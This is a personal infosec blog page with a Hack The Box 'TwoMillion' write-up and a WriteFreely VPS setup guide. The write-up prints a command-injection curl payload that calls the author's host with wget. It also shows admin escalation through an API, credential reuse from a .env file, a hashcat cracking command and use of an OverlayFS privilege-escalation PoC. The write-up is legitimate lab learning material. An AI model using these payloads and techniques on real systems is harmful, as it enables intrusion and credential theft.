Kurp's Infosec Notepad

TwoMillion is a linux box that was made to celebrate 2 million users on hackthebox.

This writeup will briefly go into the path I used to get root on the box, the challenges I had, and what I learned from it. I will not list every single thing I did, because otherwise this would be very bloated, I will mention some things that did not work out because I believe they could have lead to some kind of relevant information. Just as an example, I mention here that I am attempting to crack the hashes for the database users, but I do not mention checking SUID binaries to available sudo commands.

Contents

Tools Used

I'll mention the tools used here. I might miss some basic ones like base64 or curl, which are present on many systems, but specifically the penetration testing tools I used are the ones I want to point out.

CeWL – Custom wordlist generator that crawls a website to make a wordlist. ffuf – Fuzzer for enumerating web applications de4js – JavaScript deobfuscator and unpacker dcode.fr – Tool that allows brute-forcing of caesar ciphers cyberchef – Tool to help encoding and decoding of various algorithms metasploit framework – Massive framework for pentesting, in this case I just used it for a meterpreter shell along with msfvenom linpeas – Linux system enumeration script that also look for vulnerabilities, PEASS-ng also has a windows enumerator DataDog 2023-0386 PoC – PoC used for privilege escalation

nmap scan

As always, we start with an nmap scan to see open ports on the target.

The box presented with TCP 22 with OpenSSH for Ubuntu, 80 as being open with a redirect to http://2million.htb. At this point I also started scanning UDP ports, while I enumerate these services. Something better I could have done here was run a long portscan on all ports, -p-, to get better information. For this box I ran nmap -sC -sV -oA (removing the irrelevant information).

HTTP Page – No Access

The HTTP page shows the hackthebox.eu website from 2017, when they were invite only. Enumerating the site a bit we see that in order to register a user we must first have an invite code, but we are welcomed to attempt to hack our way in!

I begin by using CeWL, a custom wordlist generator, which crawls the site and generates a wordlist. I've seen before that you can add some special characters to it as well, but I just start with this basic wordlist, not knowing anything about what the invite code looks like. After generating a wordlist I use ffuf to send the requests to the target, attempting all of the words in the wordlist. Something I should have done here was run ffuf to enumerate the site entirely rather than focusing solely on the invite code.

While ffuf was running, I look at the pages contents to understand it a bit better. I see that when you put in an invalid invite code, the dialog box it gives you is done client-side, which means it can be bypassed.

After looking at the source-code for the page, we see the check is indeed done client-side and we can intercept and modify it. At this point I start ffuf in attempting to enumerate the API endpoints.

The code here shows that it is interpreting the respond from the api/v1/invite/verify API endpoint and redirects us to /register with the stored code. We could either go directly to /register(which we would have enumerated anyway if I had enumerated the website correctly), or modify the response received, which then redirects us to /register with the stored code anyway.

My code is invalid for use on the registration page, so I begin looking at the source of this page as well. Digging into this registration page we don't see anything interesting in the source code, it grabs the invite code from local storage but does run a script on it. Feeling confident after the bypass of the invte code (its the little wins that count), I look at the inviteapi.min.js and attempt to make sense of it. Its clearly packed, it even has the variables p a c k e d. I sent a screenshot to chatGPT and it doesn't know what to make of it besides that it is packed, but recommends to use an unpacker and suggests de4js.

I put the code into the decoder and let it decode and it gives me a place I can send a POST request for how to generate an invite code.

Sending the POST request with burp we get this back:

This is clearly a Caesar cipher, due to the way it keeps the format of the text and the letters are just replaced. You can easily guess this yourself with enough time, but I just put it into dcode.fr/caesar-cipher which brute-forces it and shows that the text makes sense when using 13 rotations (rot13).

After decrypting, we now know we need to send a POST request to api/v1/invite/generate, also probably something we could have enumerated, but I was having a bad time trying to find the api endpoints.

A lot of this probably could have been avoided if I had enumerated the API endpoints appropriately, but my wordlists were struggling to get anything.

Sending this POST request we get back an invite code, with something saying its encoded.

This looks like some kind of encoded string, likely base64. We could just run this string through base64 with the -d argument to decode it, but I plug this code into CyberChef and it returns some strings that look like codes:

It looks like we have an invite code now! This code works for registering a user.

HTTP Page – User Access

Upon logging in we have the old 2017 hackthebox.eu webpage.

After digging around a bit, I found the VPN file download but could not figure out what to do further.

I referred to the “Guided Mode” which gave me a hint to check API endpoints.

After some trying to enumerate these API endpoints unsuccessfully again, I noticed it kept trying to set my PHPSESSID which I realized I hadn't been setting in my enumeration attempts. It was a big “duh” moment for me and I'm embarrassed it took me so long to realize what I was missing.

After setting the PHPSESSID cookie and enumerating, I was immediately provided with a full list of API endpoints by the API itself.

This was a big failing on my part, not using my user-authenticated PHPSESSID cookie when enumerating. I will not forget this again.

With the VPN endpoints, we see some of the admin endpoints are available, so we start poking them to see what they do.

Trying /api/v1/admin/auth returns false because my user is not an admin, and /api/v1/admin/vpn/generate returns in a 401 Unauthorized for the same reason.

I started sending PUT requests to /api/v1/admin/settings/update and bumbled through until I was able to find exactly what it was looking for: json content and settings for e-mail and admin status.

I sent a PUT request to the page to make my user account admin, and verified through the admin/auth endpoint.

Now as admin we can begin using the other API endpoint available to admins, /api/v1/admin/vpn/generate.

At this point we can send the POST request to the admin/vpn/generate endpoint and get a OpenVPN file back. This file doesn't help us really, because the VPN gateway is not up. I dug around a bit and didn't find anything helpful. After about 45 minutes of messing around and not seeing a path forward, I looked at the “Guided Mode” again and saw that it gives a hint that there is a command injection in one of the API endpoints.

The only ones that seemed to do something on the machine were the VPN generation endpoints, so I begin trying to do some command injection and eventually found that I could easily inject commands into the admin/vpn/generateAPI.

curl -X POST -sv 2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json"  --cookie "PHPSESSID=i5f9snm7hs21104t26f0tcjedr" -d '{"username":"root; wget http://10.10.14.43:8000/test"}'

I ran the command above and saw the server reaching out to a python http server I had running, so I knew the machine was running my command just by adding the semicolon.

I then downloaded a file from my http server to standup a reverse shell and had access.

Foothold – wwwdata

I began enumerating the host, looking at /etc/passwd I see there is a user admin, so my goal is to move to that user because I not see any privilege escalation that I can do with the www-data user immediately.

I check listening ports with ss -tunlp and see that MySQL is listening and something called memcached, which I have not used before. I'll pursue the MySQL database so I start looking for credentials for the database.

I see in the Database.php file that its referring to some variables for the username and password, I didn't see these in the environmental variables. I check the directory and there is a .env file that contains the relevant variables.

These are credentials to the database, but they might word for the admin user on the box. I attempt to ssh to the box as the admin user with this specific password and it lets me right in.

Foothold – admin – user

Now the goal is to look for escalation pathways. I check the user's groups, nothing; I check what the user can run as sudo, nothing. I also check for weak SUID binaries and don't find anything.

To help with enumeration I run linpeas, which looks for vulnerabilities within the system. I saw some interesting things but nothing immediately jumps out as a clear path so I decide to enumerate memcached.

I can't get any good information out of memcached, so I'm going to enumerate the MySQL database.

The database has a few users including the one I created, I'll try cracking their passwords and seeing if I can get anywhere with that. Both users are listed as admins so there is hope.

I use hashcat in mode 3200 for bcrypt, and let it rip.

hashcat --username -m 3200 mysqlaccountdump.txt /usr/share/wordlists/rockyou.txt

While hashcat was running, I dug around a bit more through the results generated by linpeas, and the file system.

After about an hour of no progress I looked at the “Guided Mode” for a hint and it told me to look for e-mails. This should have been obvious but I had never checked emails for a linux user before so it was a new experience and is going to be added to my enumeration checklist.

I found in the e-mails a message mentioning to patch a privilege escalation path through the OverlayFS Subsystem.

Privilege Escalation

After some quick digging I found more information about it and a proof-of-concept (poc) from DataDog. PoC

I prepared the poc and launched it and was immediately given full sudo use, which allowed me to sudo su and access the /root/ directory and grab the flag.

There is also an encoded json document to thank the users for making hackthebox successful.

Lessons Learned

These are my biggest failings and things I need to work on that is specific to this box. While there are infinite things I need to improve upon, even just for penetration testing, these are the items that came to the forefront.

  • The biggest lesson learned for me was that I must get better and enumerating websites, a lot of this would have been much simpler if I had enumerated the website correctly. A big part of this is to ensure my cookies are present in the fuzzer that is running, to make sure any kind of session I have is being used. That means I need to do the following:

    • Ensure session cookies are present in fuzzing tool.
    • Add relevant headers to make the fuzzing tool look more like real traffic.
    • Add a user agent so that the traffic doesn't say “User-Agent: Fuzz Faster U Fool” !!!!
  • Linpeas is great, but it is not the final word on privilege escalation. Linpeas did not detect the vulnerability that was present that allowed privesc. I may need to look for other tools that can also check for vulnerabilities.

  • Check user mail, I was not aware of /var/mail, but I've added it to my enumeration checklist.

  • Have a dedicated hashcracking PC. My miniPC that I do the testing on is not equipped to run hashing with time efficiency.

As always, enumeration is the hardest and most crucial part of every box I've done so far. It will be a constant skill to improve.

The WriteFreely server was relatively easy to set up and only took 2 hours until it was fully functional. I decided on WriteFreely because I wanted something very simple, lightweight, and that also supported markdown for posting write-ups for Hack the Box content.

This will be a relatively simple step-by-step guide on how I setup the server, I don't really have a set goal for level of detail, but I would like to write it in a way that I could have followed with little computer knowledge when I started.

Contents: – Software InstalledDatabase SetupNginx Setupno-ip Dynamic DNS SetupWriteFreely SetupGetting Certificates with CertbotCustomization

Virtual Private Server Hosting

I decided on a Virtual Private Server (VPS) to keep all of the risk with a cloud provider, rather than have it hosted at home and should the worst happen an attacker have access to my home network through that web server. The server is also only using 1 vCPU and 1 GB of RAM, so it is about €4 a month. I chose DigitalOcean since I already had an account there and spun up the VPS with Debian installed. I generated some new ssh keys to use for access and went to work installing software.

Its important to make sure you correctly set a firewall on the VPS to make sure you're not unintentionally exposing any listening ports. Be sure to do that before you start installing anything in case they start listening on first installation. I kept SSH, ICMP, and HTTP open initially, then later added HTTPS, and removed ICMP once I was able to run the certbot and confirm functionality.

Software Installed

I installed a few things that I knew I would need after reading WriteFreely's setup guide:

+ nginx – a lightweight webserver and reverse proxy

+ no-ip DUC (Dynamic Update Client) – I didn't want to pay more for a dedicated public IP address on the VPS, so installing no-ip DUC allows the DNS record associated with the blog to automatically update. The software can be found here through no-ip's dynamic DNS system.

+ mariadb – You can use a database or not, I chose to. While the setup guide states MySQL, mariadb is a fork of MySQL and works for the web server.

+ writefreely – The application itself that will serve the page and manage the content.

Database Setup

Setting up the database was straightforward, I was fortunate enough to find this helpful guide that a blogger named Val wrote that I'll reference a few times throughout this, although her choice of software is slightly different but the end result is similar. I will list the commands that are listed on her blog just in case the link is not reachable in the future.

sudo apt install mariadb-server

sudo systemctl enable --now mariadb

I followed the instructions regarding starting the database, then the most important thing is doing the mariadb-secure-installation that walks you through some configuration options to make the database more secure such as removing remote root access, the anonymous user, and setting a root password.

sudo mariadb-secure-installation

As Val's guide notes, I made the writefreely user, created the database, and assigned privileges to the database for the user.

sudo mariadb -u root -p

CREATE USER 'writefreely'@'localhost' IDENTIFIED BY '[MariaDB password]';

CREATE DATABASE writefreely CHARACTER SET latin1 COLLATE latin1_swedish_ci;

GRANT ALL PRIVILEGES on writefreely.* to 'writefreely'@'localhost';

FLUSH PRIVILEGES;

exit

Nginx Setup

I decided on a reverse proxy in case I wanted to host additional web servers on this machine, if you decide against that you can skip this.

WriteFreely provides a configuration for the nginx reverse proxy here, the sections in bold are the only thing that need to be altered to match your environment. The proxy will listen on the normal ports then forward the traffic to the specific webservers based on the Host header in this case.

I recommend sticking with the default local listening port of 8080 to simplify configuration.

no-ip Dynamic DNS Setup

no-ip offers free Dynamic DNS (DDNS) for specific domains through their website, with the only caveat being that you must login to confirm every 30 days. I already had my domain through here, but Val's guide lists Porkbun as a provider that she used. She also uses the Cloudflare Tunnel, which I don't have experience with, but if you're hosting this at home that might be an excellent option to reduce your attack surface.

The DDNS is important to me because I do not want to pay for a reserved public IP, and manually updating the DNS record would be a pain.

To get this setup, I first created the DNS A records for the website (blog.jjnetops.net, www.blog.jjnetops.net) and tied those to the public IP of the VPS. While on the no-ip website I generated the DDNS keys that will be used for the system (username/password). I then followed no-ip's instructions for installing the software:

wget --content-disposition https://www.noip.com/download/linux/latest
tar xf noip-duc_3.3.0.tar.gz
cd /home/$USER/noip-duc_3.3.0/binaries && sudo apt install ./noip-duc_3.3.0_amd64.deb

This installs the program, but I want this to run constantly as a daemon, for whatever reason they have the instructions for setting up a service in a separate place here where it points you to a service file that is already made in the noip-duc_3.3.0/debian/ directory.

I copied this file to the system services directory:

sudo cp debian/service /etc/systemd/system/noip-duc.service

And as the instructions notate, you need to place your username, password, and hostname into a file at the following path: /etc/default/noip-duc

The file will look like this but filled in with the information you received when generating the DDNS keys:

NOIP_USERNAME=myusername
NOIP_PASSWORD=mypassword
NOIP_HOSTNAMES=example.ddns.net,exampledomain.com,noiptest.redirectme.net

Still following the instructions, I reloaded the daemons, then enabled and started the noip-duc service.

sudo systemctl daemon-reload
sudo systemctl enable noip-duc
sudo systemctl start noip-duc

We can check the status to make sure it updated the IP:

sudo systemctl status noip-duc

That should sort out your DDNS and keep the records up-to-date.

WriteFreely Setup

Finally, I installed the WriteFreely software, configured it, tested it on HTTP, and ran certbot to get certificates to allow TLS connections.

The WriteFreely software was downloaded from their GitHub, and installed. The VPS was using an AMD64 chip so that was the tarball I downloaded, yours may be different. These commands are very similar to Val's guide, but slightly different in that she has an ARM CPU and the VPS I'm using has an AMD64 CPU.

wget https://github.com/writefreely/writefreely/releases/download/v0.16.0/writefreely_0.16.0_linux_amd64.tar.gz
tar -xvzf writefreely_0.16.0_linux_amd64.tar.gz
rm writefreely_0.16.0_linux_amd64.tar.gz

I then applied permissions, moved the folder, and made the program executable.

sudo chmod 755 -R /var/www/html/
sudo mv writefreely/ /var/www/html/
cd /var/www/html/writefreely/
chmod +x writefreely

Once installed, I ran the writefreely program that is within the folder I just moved, and followed the instructions provided by writefreely's setup guide.

/var/www/html/writefreely/writefreely config start

Running this took me into an interactive configuration screen, I chose “Reverse proxy”, “8080” which is the local port it is listening on, and provided the database information.

Then I ran writefreely keys generate so it can generate encryption keys.

Finally, I started the application and make sure its working as expected and was serving writefreely over HTTP.

Getting Certificates with Certbot

Certbot provides a very easy way to get signed certificates to enable TLS on your website. The certificates are free and provided by Let's Encrypt.

First I downloaded certbot and the python3 plugin for nginx. The plugin will make the necessary configuration changes within nginx without having me having to do anything.

sudo apt install certbot python3-certbot-nginx

I did run into a small problem here, because I only had a record for blog.jjnetops.net and not www.blog.jjnetops.net. Once I created a record for the www one, it worked immediately.

sudo certbot --nginx

Next I checked and made sure I could reach the page from HTTPS and that it was redirecting HTTP to HTTPS for secure connections, which was all handled by the certbot python3 plugin.

Important to note, at this point I changed the firewall configuration on the VPS to only allow SSH, HTTP, and HTTPS.

Customization

There are a lot of options for customizing the blog, personally I started with using this free theme Painkiller Bullet made by Jesse Watson.

Fin

After that I was all done! It took me longer to write this than it did to setup the server! I'm hopeful I can continue to use this to catalog my journey through learning computers.

See you next time.